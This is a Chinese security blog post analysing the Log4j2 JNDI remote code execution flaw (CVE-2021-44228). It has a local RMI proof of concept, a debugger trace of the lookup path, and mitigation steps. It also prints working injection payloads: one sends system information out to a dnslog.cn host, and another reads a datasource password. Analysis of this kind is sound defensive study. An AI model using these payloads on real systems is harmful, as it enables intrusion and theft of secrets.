CVE-2021-44228分析

本文最后更新于:2024年8月14日 上午

很久之前分析过了,今天形成博客,顺带写了一个工具Demo

Log4j2漏洞原理分析

漏洞简介

参考文章

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。

漏洞适应版本:2.0 <= Apache log4j2 <=2.14.1。jdk8u65。CVE-2021-44228

前置知识

log4j2

​ log4j2是apache下的java应用常见的开源日志库,就是一个日志记录工具,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息

JNDI

​ JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

​ 其实就是可以让Java应用程序可以向远程服务器获取资源的接口,这也是这次利用的关键点,利用时常用的有RMI和LDAP两种服务。

Java低版本原理

原理描述

参考文章

​ Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

​ 这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

测试代码

首先我们编写一个测试代码调试一下漏洞是如何形成的:

RMIServer类:用于开启RMI服务,托管我们的恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
public class RMIServer {
public static void main(String [] args) throws RemoteException, NamingException, AlreadyBoundException {
//启动rmi服务 端口为1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
//创建资源为本机目录的HackingObj类,其中null代表本机目录,也可以指定服务器,如127.0.0.1:80绑定为本机nginx下资源
Reference reference = new Reference("rmi.HackingObj", "rmi.HackingObj", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//绑定资源
registry.bind("3xsh0re",referenceWrapper);
System.out.println("RMI服务初始化成功!");
}
}

HackingObj类:恶意代码类

1
2
3
4
5
6
7
8
9
10
public class HackingObj {
static {
System.out.println("Hacking!");
try {
Runtime.getRuntime().exec("calc");
}catch (IOException e) {
throw new RuntimeException(e);
}
}
}

上面的都是攻击者构造的。

测试类:用于测试Log4j2

1
2
3
4
5
6
7
8
9
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String payload = "${jndi:rmi://127.0.0.1/3xsh0re}";
logger.error("run {}",payload);
}
}

调试分析

下面打断点调试漏洞路径:先打一个初始断点

首先步进调试到下面的位置,发现在ReusableParameterizedMessage中调用了set函数,其实就是在初始化日志的格式

可以发现这里初始化中的paramArray参数就是我们的payload

以上完成了初始化。

ReusableLogEventFactory中createEvent函数(34行)进行了日志事件的初始化,也就是后面的event变量。

后面进入了LoggerConfig中的callAppender函数,然后这里的函数调用我就不贴图了:调用到AppenderControl中的tryCallAppender,然后调用AbstractOutputStreamAppender中的Append->tryAppend->directEncodeEvent。

在这之后调用了PatternLayout中的encode函数,可以发现调用了toText函数,继续跟进

进入PatternLayout的toText函数,然后调用了序列化函数

在toSerializable函数中,调用format函数,并将当前event和待处理字符串传入

调试到PatternFormatter中的format函数发现此时在格式化需要打印的日志,可以发现在进行格式化的时候有两个参数,一个buf作为输出的缓冲。值得注意的是,这里调用了不同的converter的format函数。

比如处理日期:调用的是DatePatternConverter的format函数

处理字符串,当前的format函数进而调用了LiteralPatternConverter中的format函数

继续调试,输入${jndi:rmi://127.0.0.1/3xsh0re}对应的是%msg,处理的converter是MessagePatternConverter,跟进它的format()。发现在MessagePatternConverter(第102行)中调用了另一个格式化方法,专门解析字符串${},这里如果msg中存在${字符串,取出msg值后,就将整个msg字符串从workingBuilder中替换掉。

先触发了replace函数,这里如果source也就是我们的payload不为空的话,将会调用substitute函数。那么substitute函数是干什么的呢。

我们继续看StrSubstitutor中的substitute函数,这里调用了另一个返回值为int的重构函数,稍微看一段这段代码,可以发现这个函数实际上是在递归的解析${},直到将被包括的内容取出来。

同样的,在这个substitute函数中,递归解析完成了,会调用resolveVariable (第418行)去触发了JndiLookup函数,加载字符串中的内容

这里调用了StrLookup的lookup函数

这是一个接口类,根据不同的事件去匹配不同的实现,这里实现了JndiLookup接口。其实这里可以发现支持了很多的Lookup函数,说明可以解析的参数还有很多。

1
2
3
4
5
6
7
8
9
//获取java运行时版本,jvm版本,和操作系统版本
"${java:runtime} ${java:vm} ${java:os}"
"${sys:java.version}"

//外带数据:
"${jndi:ldap://${java:os}.dkfjlsd.dnslog.cn}"

//还可利用Bundle协议读取项目配置文件来获取敏感信息。
"${bundle:application:spring.datasource.password}"

这里调用JndiLookup中的convertJndiName去处理我们的路径,得到要加载类的地址

然后调用了JndiManager

使用JndiManager的lookup函数,然后这个lookup函数最终调用了java原生的lookup函数,导致反序列化远程加载恶意类。

到此,低版本Java的分析完了。

修复

  1. 升级到最新版
  2. 临时修改方法:
    • jvm 添加 -Dlog4j2.formatMsgNoLookups=true 参数(版本>=2.10.0有效)
    • 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0有效)
    • log4j2 < 2.10以下的版本移除JndiLookup类。
  3. 禁止没有必要的业务访问外网

附上我的利用工具Demo


CVE-2021-44228分析
https://3xsh0re.github.io/2024/06/10/CVE-2021-44228分析/
作者
3xsh0re
发布于
2024年6月10日
许可协议